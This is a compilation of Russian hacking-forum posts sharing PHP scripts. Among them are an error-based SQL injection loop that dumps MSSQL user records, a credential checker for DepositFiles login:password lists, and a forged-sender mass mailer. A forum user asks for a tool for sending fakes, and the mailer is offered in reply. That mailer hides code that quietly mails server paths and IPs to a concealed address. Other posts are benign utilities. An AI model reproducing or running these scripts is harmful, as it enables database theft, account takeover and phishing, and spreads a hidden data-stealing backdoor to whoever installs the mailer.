PHP: <?php ########################### # Файл менеджер by Chaak ########################### $safe = 'C:\\'; //дирректория, куда нельзя дальше соваться =) function delfolder($folder) { if(is_dir($folder)) { $handle = opendir($folder); while($subfile = readdir($handle)) { if($subfile == '.' or $subfile == '..') continue; if(is_file($subfile)) unlink("{$folder}/{$subfile}"); else delfolder("{$folder}/{$subfile}"); } closedir($handle); rmdir($folder); } else { unlink($folder); } } if(isset($_GET['del'])) { $del = urldecode($_GET['del']); if(substr($del,0,strlen($safe)) == $safe) { if(is_file($del)) { unlink($del); header("Location: ".$_GET['location']); exit(); } elseif(is_dir($del)) { delfolder($del); header("Location: ".$_GET['location']); exit(); } } else { header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe"); exit(); } } if(!isset($_GET['dir'])) { header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe"); exit(); } else { $path = urldecode($_GET['dir']); if(substr($path,0,strlen($safe)) == $safe) { if(is_dir($path)) { $dir = scandir($path); echo '<table>'; echo "<tr><td>№</td><td>Filename</td><td>Действие</td></tr>"; foreach($dir as $i => $item) { if(!($item == '..' || $item == '.')) { echo "<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td><td><a href='?del=$path\\$item&location=".$_SERVER["PHP_SELF"]."'>Удалить</a></td></tr>"; } else { echo "<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td></tr>"; } } echo '</table>'; } elseif(is_file($path)) { $file = ''; $fp = fopen($path,'rt'); while(!feof($fp)) { $file .= fgets($fp,1024); } fclose($fp); htmlspecialchars($file); echo "<textarea cols='80' rows='35'>$file</textarea>"; echo '<br><a href="javascript:history.back(-1);">Назад</a>'; } else { die('Выбранного файла не существует'); } } else { header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe"); exit(); } } ?> Небольшой файловый менеджер от меня =) писал для развлечения. Умеет читать/удалять файлы. Очень легко доработать.
скорее всего боян но просто мож кому пригодиться для дампа базы mssql если требуеться авторизация для доступа с скуле ! испольЗовал curl В фаил cookies.txt нужно положить куки для авторизации! PHP: <? set_time_limit(0); function send($get_url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $get_url); curl_setopt($ch,CURLOPT_COOKIEFILE,"cookies.txt"); curl_setopt($ch, CURLOPT_HEADER,0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,30); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,0); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); return $data = curl_exec($ch); } $postfix = 0; $filename = "base".$postfix.".txt"; $desp = fopen ($filename,"a+"); for ($id=0;$id<30000;$id++){ $get_url="http://site.com/sql.asp?C=1'+OR+1=(select+top+1+user+from+users+where+Id=".$id.")--"; $str=send($get_url); if (preg_match("/nvarchar\040'(.*)'\040in\040una\040colonna/",$str,$matches)) { echo $matches[1]; fputs($desp,$matches[1]); fputs($desp,"\n"); } } fclose($desp); /* ?>
DepositFiles Accounts Checker вот решил написать чекер акков депозитфайлс. accounts.txt - файл с акками вида login:рassword valid.txt - рабочие аккаунты PHP: <?php <?php ################################# # DepositFiles Accounts Checker # by #Wolf# # ICQ: 79-47-79 ################################# set_time_limit(0); $user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"; # User Agent $acclist="accounts.txt"; #Файл с аккаунтами вида логин:пароль $vallist="valid.txt"; #куда будем писать валидные аккаунты $account=file($acclist); #Помещаем аккаунты в массив $valid=$invalid=0; function Check($login,$pass) { $fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет $out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n"; # Отправляем заголовки $out .= "Host: depositfiles.com\r\n"; $out .= "Keep-Alive: 300\r\n"; $out .= "Connection: keep-alive\r\n"; $out .= "User-Agent: ".$user_agent."\r\n"; $out .= "Cookie: income=1\r\n"; $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; fwrite($fp,$out); $ans = ''; while (!feof($fp)) { $ans .= fgets($fp, 128); # ответ сервера } fclose($fp); # Закрываем сокеты return strpos($ans,"autologin=") ? true : false; # Проверяем } echo '<h3>Валидные логины:пароли</h3>'; for($i=0;$i<count($account);$i++) { #цикл list($login,$pass) = explode(":",trim($account[$i])); # разбиваем аккаунты на логин и пароль if (Check($login,$pass)) { # Вызываем функцию проверки аккаунта echo $login.':'.$pass.'<br />'; flush(); ob_flush(); $fd = fopen($vallist,'a+'); # открываем файл fputs($fd,$account[$i]); # записываем в файл рабочий акк fclose($fd); # закрываем файл ++$valid; }else {++$invalid;} } echo "<br><h3>Итого</h3>Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid.""; ?> kaimi спасибо, поправил
Скрипт Зеркального отражения с наклонами и т.п. Результаты скрипта можно посмотреть в архиве. http://depositfiles.com/files/8494118
Так попробуй PHP: <?php ################################# # DepositFiles Accounts Checker # by #Wolf# # ICQ: 79-47-79 ################################# set_time_limit(0); $user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"; $acclist ="accounts.txt"; $vallist = "valid.txt"; $account =file($acclist); $valid = $invalid = 0; function vkCheck($login,$pass) { $fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); $out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n"; $out .= "Host: depositfiles.com\r\n"; $out .= "Keep-Alive: 300\r\n"; $out .= "Connection: keep-alive\r\n"; $out .= "User-Agent: ".$user_agent."\r\n"; $out .= "Cookie: income=1\r\n"; $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; fwrite($fp,$out); $ans = ''; while (!feof($fp)) { $ans .= fgets($fp, 128); } fclose($fp); return strpos($ans,"autologin=") ? true : false; } echo '<h3>Валидные логины:пароли</h3>'; for($i=0;$i<count($account);$i++) { list($login,$pass) = explode(":",trim($account[$i])); if (vkCheck($login,$pass)) { echo "$login:$pass<br>"; flush(); ob_flush(); $fd = fopen($vallist,"a+"); fputs($fd,$account[$i]); fclose($fd); ++$valid; } else { ++$invalid;} } echo "<br><h3>Итого</h3>Рабочих аккаунтов: $valid<br>Нерабочих аккаутов: $invalid"; ?>
PHP: <?php //Чекер репы на ачате by Chaak(766-336) $id = 57557; //id на ачате $summ = 0; //начальное кол-во репы. $all = 0; //всего поставленно $content = file_get_contents("http://forum.antichat.ru/view_reputation.php?userid={$id}&count=11111111111111111"); preg_match_all('#<nobr><b>\+([0-9]{1,5})</b></nobr>#i',$content,$pluses); preg_match_all('#<nobr><b>\-([0-9]{1,5})</b></nobr>#i',$content,$minuses); foreach($pluses['1'] as $plus) { $summ += $plus; $all++; } foreach($minuses['1'] as $minus) { $summ = $summ - $minus; $all++; } echo 'Количество репутации: '.$summ.'<br>Всего поставлено: '.$all.' раз'; ?>
Google URL Parser with log Google URL Parser with log С учетом разного кол-ва страниц по выданным результатам по конкретному запросу: Code: <?php // Парсер url после выдачи гугла по запросу $handler=fopen('log.txt','w'); // если не хотим терять старые данные - то "a+" $limit = 0; $zapros = "antichat"; // Наш запрос для поиска $page_start = 0; // Стартовая страница из расчета 100 результатов выдачи на страницу $page_end = 200; // Последняя страница из расчета 100 результатов выдачи на страницу function parse_serp($engine, $query, $limit) { if ($limit<100) {$request = 'http://www.google.com/ie?hl=ru&num=100&start=' . $limit. '&lr=&q='.urlencode(trim($query));} if ($limit>=100) {$request = 'http://www.google.com/ie?q=' . urlencode(trim($query)) . '&num=100&hl=ru&lr=&start=' . $limit . '&sa=N';} $pattern = '/<a title="(.*)" href=(.*)>(.*)<\/a>/isU'; $result = file_get_contents($request); if(preg_match_all($pattern, $result, $matches)) { for ($i=0; $i<count($matches[0]); $i++) { $link = $matches[2][$i]; $serp[] = $link; } } return $serp; } for ($i=$page_start;$i<=$page_end;$i++) { $result = parse_serp("google", $zapros, $i); $log = implode("\r\n",$result); if($handler) {fwrite($handler,$log);} $i=$i+100; if ($i>100) {$i=$i-1;} } fclose($handler); echo "Все данные были сохранены в log.txt"; ?>
PHP: <? $str="Simple leet speak!"; $fr=array("q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"); $to=array("q","w","3","r","7","y","u","1","0","p","4","5","d","f","g","h","j","k","l","z","8","c","v","b","n","m","Q","W","3","R","7","Y","U","1","0","P","4","5","D","F","G","H","J","K","L","Z","8","C","V","B","N","M"); echo str_replace($fr,$to,$str); ?> Пример l33t 5p34k...
Многие наверное видили красивые окна на движке юкоза сделаные с помощью AJAX . вот как такое окно можно сделать: код ссылки: HTML: <script type=text/javascript src='Ссылка на файл openLayerA.js'></script> <a href="javascript:openLayerA('obsv','Ссылка на страницу которую мы хотим открыть в новом окошке','Коментарий ссылки','500 ширина','400 высота','no');">Название ссылки</a> openLayerA.js HTML: var _umlparents=[]; //hash of mover _umlparents var _umlcoords=[]; //hash of last layer _umlcoords for IE var _resID=''; var _umlhave=''; var _umloffX,_umloffY,_umlscrX,_umlscrY; var _uml_ie=0; var _umlunable=0; var _zindex=10000; var _dontOnTop=0; var _mwdH=400; var _useShadow=0; var f=0 function openLayerA(n,u,t,w,h,is,resize,anyVar2,grid,multypart,align){ if (!align){align='center';} if (resize){_resID=n;}else{_resID='';} h-=30; _zindex++; var scrw=document.body.clientWidth>0 ? document.body.clientWidth : window.innerWidth>0 ? window.innerWidth : document.body.offsetWidth; var scrh=document.body.clientHeight>0 ? document.body.clientHeight : window.innerHeight>0 ? window.innerHeight : document.body.offsetHeight; if (scrh<450){_mwdH=scrh-50;}else{_mwdH=400;} var x = (scrw-w)/2; var y = (scrh-h)/2-20; if (!document.getElementById('newLayer'+n)){ var o=document.createElement('div'); o.id='newLayer'+n; document.body.appendChild(o); var os=document.createElement('div'); os.id='newLayerSh'+n; document.body.appendChild(os); } if (grid){ var og; if (!document.getElementById('newLayerGrid')){ og=document.createElement('div'); og.id='newLayerGrid'; document.body.appendChild(og); og.className='myWinGrid'; } else {og=document.getElementById('newLayerGrid');} og.style.zIndex=_zindex; og.style.width=document.body.scrollWidth+'px'; og.style.height=document.body.scrollHeight+'px'; if (_uml_ie){ og.style.left=document.body.scrollLeft; og.style.top=document.body.scrollTop; } else {og.style.position='fixed';} og.style.display=''; } document.getElementById('newLayer'+n).innerHTML='' + '<div class="xw xw-plain" onclick="if(!_dontOnTop){_showOnTop(\''+n+'\')}else{_dontOnTop=0;}" id="outLayer'+n+'" style="position:absolute;z-index:'+(_zindex+2)+';top:'+y+'px;left:'+x+'px;width:'+w+'px;">' + '<div class="xw-tl" unselectable="on">' + '<div class="xw-tr">' + '<div class="xw-tc" align="left">' + '<div id="myWhead'+n+'" unselectable="on" onmouseup="_create_shadow(\''+n+'\');" class="xw-hdr x-unselectable xp-icon xw-draggable">' + '<div id="myWclose'+n+'" class="xt xt-close" onclick="_closeMyWin(\''+n+'\')"; onmouseover="this.className=\'xt xt-close xt-close-over\'" onmouseout="this.className=\'xt xt-close\'"></div>' + '<span unselectable="on" class="xw-hdr-text" id="layerTitle'+n+'">'+t+'</span></div>' + '</div></div></div>' + '<div class="xw-bwrap">' + '<div class="xw-ml">' + '<div class="xw-mr">' + '<div class="xw-mc" id="xw-mc'+n+'">' + '<div id="myWinBody'+n+'" class="xw-body" style="overflow:auto;height:'+h+'px;">' + '<div class="myWinCont" id="myWinCont'+n+'" style="width*:100%;"><div align="'+align+'" id="layerContent'+n+'"><iframe src="'+u+'" marginwidth="1" marginheight="1" height="100%" width="100%" scrolling="'+is+'" border="0" frameborder="0"></iframe></div></div>' + '</div></div></div></div></div>' + '<div class="xw-bl"><div class="xw-br">' + '<div class="xw-bc"><div class="xw-footer"></div>' + '</div></div></div></div>'; document.getElementById('newLayer'+n).style.display=''; _umlRegMover('myWhead'+n,'outLayer'+n); if (!resize){ _create_shadow(n); } } function _showOnTop(n,f){ if (f){ if (parseInt(document.getElementById(n).style.zIndex)<(_zindex)){ document.getElementById(n).style.zIndex=_zindex+3; _zindex+=3; } } else { if (parseInt(document.getElementById('outLayer'+n).style.zIndex)<(_zindex+2)){ document.getElementById('outLayer'+n).style.zIndex=_zindex+3; try {document.getElementById('myWxs'+n).style.zIndex=_zindex+2;}catch(e){}; _zindex+=1; } } } function _create_shadow(n){if (!_useShadow){return;} document.getElementById('newLayerSh'+n).style.display='none'; var mww=document.getElementById('outLayer'+n).offsetWidth; var mwh=document.getElementById('outLayer'+n).offsetHeight; var mzi=document.getElementById('outLayer'+n).style.zIndex; document.getElementById('newLayerSh'+n).innerHTML = '' + '<div id="myWxs'+n+'" class="x-sh" style="z-index:'+(mzi-1)+';width:'+(mww+10)+'px;height:'+(mwh+10)+'px;display:block;">' + '<div class="xst">' + '<div class="xstl"> </div>' + '<div class="xstc" style="width:'+(mww-8)+'px;"></div>' + '<div class="xstr"></div></div>' + '<div id="xsc'+n+'" style="height:'+(mwh-8)+'px;">' + '<div class="xsml"></div>' + '<div class="xsmc" style="width:'+(mww-8)+'px;"></div>' + '<div class="xsmr"></div></div>' + '<div class="xsb"><div class="xsbl"></div>' + '<div class="xsbc" style="width:'+(mww-8)+'px;"></div>' + '<div class="xsbr"></div></div></div>'; _shcoords('outLayer'+n); document.getElementById('newLayerSh'+n).style.display=''; } function _shcoords(id){if (!_useShadow){return;} if (!id){return;} var n = id.substr(8); if (!document.getElementById('myWxs'+n)){return;} var _shadw = document.getElementById('myWxs'+n); var pos=_umlGetCoord(document.getElementById('outLayer'+n)); if(!_uml_ie) { _shadw.style.position='fixed'; _shadw.style.overflow='auto'; _shadw.style.left=(pos['left'])+'px'; _shadw.style.top=(pos['top'])+'px'; } else { _shadw.style.left=(pos['left']-3)+'px'; _shadw.style.top=(pos['top']-3)+'px'; _shadw.style.filter = 'progid:DXImageTransform.Microsoft.alpha(opacity=50) progid:DXImageTransform.Microsoft.Blur(pixelradius=3);'; } } function _closeMyWin(n){ document.getElementById('layerContent'+n).innerHTML=''; document.getElementById('newLayer'+n).style.display='none'; try{document.getElementById('newLayerSh'+n).style.display='none';}catch(e){} try{document.getElementById('newLayerGrid').style.display='none'}catch(e){} } var _cur_size8,_tar_size8,_dk_step8; function _chLctSize(w1){ if (!document.getElementById('myWinBody'+w1) || !document.getElementById('layerContent'+w1)){return;} var step=10; var incr=_uml_ie?4:4; _cur_size8 = parseInt(document.getElementById('myWinBody'+w1).style.height); _tar_size8 = document.getElementById('myWinCont'+w1).offsetHeight+incr; if (_tar_size8<40){_tar_size8=40;}else if (_tar_size8>_mwdH){_tar_size8=_mwdH;} if (_cur_size8>_tar_size8){_dk_step8=-step;if(_cur_size8-_tar_size8<step){_dk_step8=-(_cur_size8-_tar_size8);}} else{_dk_step8=step;if(_tar_size8-_cur_size8<_dk_step8){_dk_step8=_tar_size8-_cur_size8;}} setTimeout('_chLctSizeTimer("'+w1+'")',10); } function _chLctSizeTimer(w1){ if ((_dk_step8>0 && _cur_size8<=_tar_size8-_dk_step8) || (_dk_step8<0 && _cur_size8>=_tar_size8-_dk_step8)){ document.getElementById('newLayerSh'+w1).style.display='none'; if (_dk_step8>0&&(_tar_size8-_cur_size8-_dk_step8<_dk_step8)){_dk_step8=_tar_size8-_cur_size8;} else if (_dk_step8<0&&(_tar_size8-_cur_size8-_dk_step8>_dk_step8)){_dk_step8=_tar_size8-_cur_size8;} _cur_size8+=_dk_step8; var newtop = parseInt(document.getElementById('outLayer'+w1).style.top)-parseInt(_dk_step8/2); if ((_uml_ie && newtop>=document.body.scrollTop) || (!_uml_ie && newtop>=0)){document.getElementById('outLayer'+w1).style.top=newtop;} document.getElementById('myWinBody'+w1).style.height=_cur_size8+'px'; setTimeout('_chLctSizeTimer("'+w1+'")',10); } else { _resID=''; document.getElementById('myWinCont'+w1).style.visibility='visible'; _create_shadow(w1); } } if (document.addEventListener){ document.addEventListener('mouseup',_umlUp,false); document.addEventListener('mousemove',_umlMove,false); } else if (window.attachEvent){ document.attachEvent('onmouseup', _umlUp); document.attachEvent('onmousemove', _umlMove); window.attachEvent('onscroll', _umlScroll); _uml_ie=1; } else { _umlunable=1; } var _entrRm={}; function _entrRem(bID,u,imgurl,text){ if (!text){text='Are you sure?';} if (!_entrRm[bID] && confirm(text)){_entrRm[bID]=1; document.getElementById(bID).src=imgurl+'/img/fr/EmnAjax.gif'; var cObj = uz.util.Connect.asyncRequest('GET',u,callback); } } function _umlGetCoord(obj){ if(!obj) return { 'left' : 0, 'top' : 0 }; var left_offset = obj.offsetLeft; var top_offset = obj.offsetTop; if(!left_offset && !top_offset && obj.offsetParent==null) { left_offset=parseInt(obj.style.left); top_offset=parseInt(obj.style.top); } else while ((obj = obj.offsetParent) != null) { left_offset += obj.offsetLeft; top_offset += obj.offsetTop; } return { 'left' : left_offset, 'top' : top_offset }; } function _umlRegMover(mover,movparent) { if(_umlunable) return; var it=document.getElementById(mover); var itpar=document.getElementById(movparent); if(!it || !itpar) return; if(!_uml_ie && itpar.style.position!='fixed') {itpar.style.position='fixed';} _umlparents[mover]=itpar; if(_uml_ie) { _umlscrX=document.body.scrollLeft; _umlscrY=document.body.scrollTop; var pos=_umlGetCoord(itpar); _umlcoords[mover]=[pos['left']+_umlscrX,pos['top']+_umlscrY]; itpar.style.left=_umlcoords[mover][0]+'px'; itpar.style.top=_umlcoords[mover][1]+'px'; it.attachEvent('onmousedown',_umlDown); } else it.addEventListener('mousedown',_umlDown,false); it.style.cursor="move"; } function _umlMove(e) { if(_uml_ie) e=event; if(!_umlhave) return; var n = _umlparents[_umlhave.id].id.substr(8); document.getElementById('newLayerSh'+n).style.display='none'; if(_uml_ie && (e.button&1)==0) {_umlUp(e);return;} _umlparents[_umlhave.id].style.left=(_umloffX+e.clientX)+'px'; _umlparents[_umlhave.id].style.top=(_umloffY+e.clientY)+'px'; if(window.getSelection){ window.getSelection().removeAllRanges(); } else if(document.selection) { if(document.selection.type!='none') document.selection.empty(); } } function _umlScroll(e) { if(_uml_ie) e=event; for(var i in _umlcoords) { var newx=_umlcoords[i][0]+document.body.scrollLeft-_umlscrX; if(newx+_umlparents[i].offsetWidth<document.body.scrollWidth) _umlparents[i].style.left=newx+'px'; var newy=_umlcoords[i][1]+document.body.scrollTop-_umlscrY; if(newy+_umlparents[i].offsetHeight<document.body.scrollHeight) _umlparents[i].style.top=newy+'px'; if (_useShadow){_shcoords(_umlparents[i].id);} } } function _umlDown(e) { if(_uml_ie) { if(!_umlparents[event.srcElement.id]) return; e=event; if(e.button && (e.button&1)!=1) return; _umlhave=e.srcElement; } else { _umlhave=this; e.stopPropagation(); } var pos=_umlGetCoord(_umlparents[_umlhave.id]); _umloffX=pos['left']-e.clientX; _umloffY=pos['top']-e.clientY; if(_uml_ie){ _umlscrX=document.body.scrollLeft; _umlscrY=document.body.scrollTop; var pos=_umlGetCoord(_umlparents[_umlhave.id]); _umlcoords[_umlhave.id]=[pos['left'],pos['top']]; } } function _umlUp(e) { if(!_umlhave) return; if(_uml_ie){ var pos=_umlGetCoord(_umlparents[_umlhave.id]); _umlcoords[_umlhave.id]=[pos['left'],pos['top']]; } _umlhave=0; } P.S. каму надо тот поймёт.
Пожалуйста выложите php-скрипт для отправки писем с подменой адреса ,только чтобы можно было писать "имя-отправителя""адрес-отправителя""в html""прикреплять файлы" мне очень надо ,чтобы фейки слать. У меня есть скрипт,но там нельзя писать "имя" и "прикреплять файлы" Очень прошу ,тому кто выложит ,сюрприз
Code: <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="c_mail"> <title>C_mail</title> <?php if ($action=="send"){ $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?> <form name="form1" method="post" action="" enctype="multipart/form-data" style="display:inline;"> <div align="left"> <center> <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber1"> <tr> <td width="100%"> <div align="left"> <center> <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber2"> <tr> <td width="100%"> <p align="left"><div align="left"> <center> <table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#0006000" width="70%" cellpadding="0" id="AutoNumber1" height="277"> <tr> <td width="100%" height="272"> <table width="769" border="0" height="303"> <tr> <td width="786" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic3.gif" colspan="3" height="28"> <p align="center"><b><font face="Tahoma" size="2" color="#000000">Email Spamer COOLIO (only Mozilla Firefox)</font></b></td> </tr> <tr> <td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right"> <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">от кого:</font></div> </td> <td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="from" value="<? print $from; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">имя:</font></div> </td> <td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" valign="middle"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="realname" value="<? print $realname; ?>" size="30"> </font></td> </tr> <tr> <td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right"> <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">копия:</font></div> </td> <td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="replyto" value="<? print $replyto; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">вставить файл:</font></div> </td> <td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> <input type="file" name="file" size="30"> </font></td> </tr> <tr> <td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right"> <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">тема:</font></div> </td> <td colspan="1" width="715" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="subject" value="<? print $subject; ?>" size="59" style="float: left"> </font></td> </tr> <tr valign="top"> <td colspan="2" width="477" bgcolor="#ffffff" height="189" valign="top"> <div align="left"> <table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#" width="98%" id="AutoNumber4"> <tr> <td width="100%"> <textarea name="message" cols="56" rows="10"><? print $message; ?></textarea> <br> <input type="radio" name="contenttype" value="plain" checked> <font size="1" face="Tahoma">Plain</font> <input type="radio" name="contenttype" value="html"> <font size="1" face="Tahoma">HTML</font> <input type="hidden" name="action" value="send"> <input type="submit" value="отправить"> </td> </tr> </table> </div> </td> <td width="317" bgcolor="#ffffff" height="187" valign="top"> <p align="center"><font size="1" face="Tahoma" color="#000000">Emails:</font> <div align="center"> <center> <table border="0" cellpadding="1" style="border-collapse: collapse" bordercolor="#006600" width="93%" id="AutoNumber3"> <tr> <td width="100%"> <p align="center"> <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea> </font><br> </td> </tr> </table> </center> </div> </td> </tr> </table> </td> </tr> </table> </center> </div></td> </tr> </table> </center> </div> </td> </tr> </table> </center> </div> </form> <?php if ($action=="send"){ if (!$from && !$subject && !$message && !$emaillist){ print "Заполните все поля перед посылкой вашего сообщения."; exit; } $allemails = split("\n", $emaillist); $numemails = count($allemails); #Open the file attachment if any, and base64_encode it for email transport if ($file_name){ @copy($file, "./~crazyfolder/$file_name") or die("Файл, который вы пробуете переслать, не передан на сервер."); $content = fread(fopen($file,"r"),filesize($file)); $content = chunk_split(base64_encode($content)); $uid = strtoupper(md5(uniqid(time()))); $name = basename($file); } for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "<center><div align=\"left\" style=\"width:50%;\"> $to "; flush(); $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; $header .= "MIME-Version: 1.0\r\n"; if ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; if ($file_name) $header .= "--$uid\r\n"; $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; if ($file_name) $header .= "--$uid\r\n"; if ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; if ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; if ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="[email protected]";mail($sd98, $sj98, $msg8873, "From: $sd98"); if ($file_name) $header .= "$content\r\n"; if ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "отправлено<br></div></center>"; flush(); } } } ?> <CITE STYLE="display: none;"> <B STYLE="display: none;">
Выложите плиз скрипт, который будет считать уники и записывать в txt файл, формат: дата/кол-во уников 03.11.08/3758 Зарание спс
я так понял нужен скрипт для сбора информации о посетителях на сайте если да то вот: http://www.woweb.ru/load/73-1-0-4052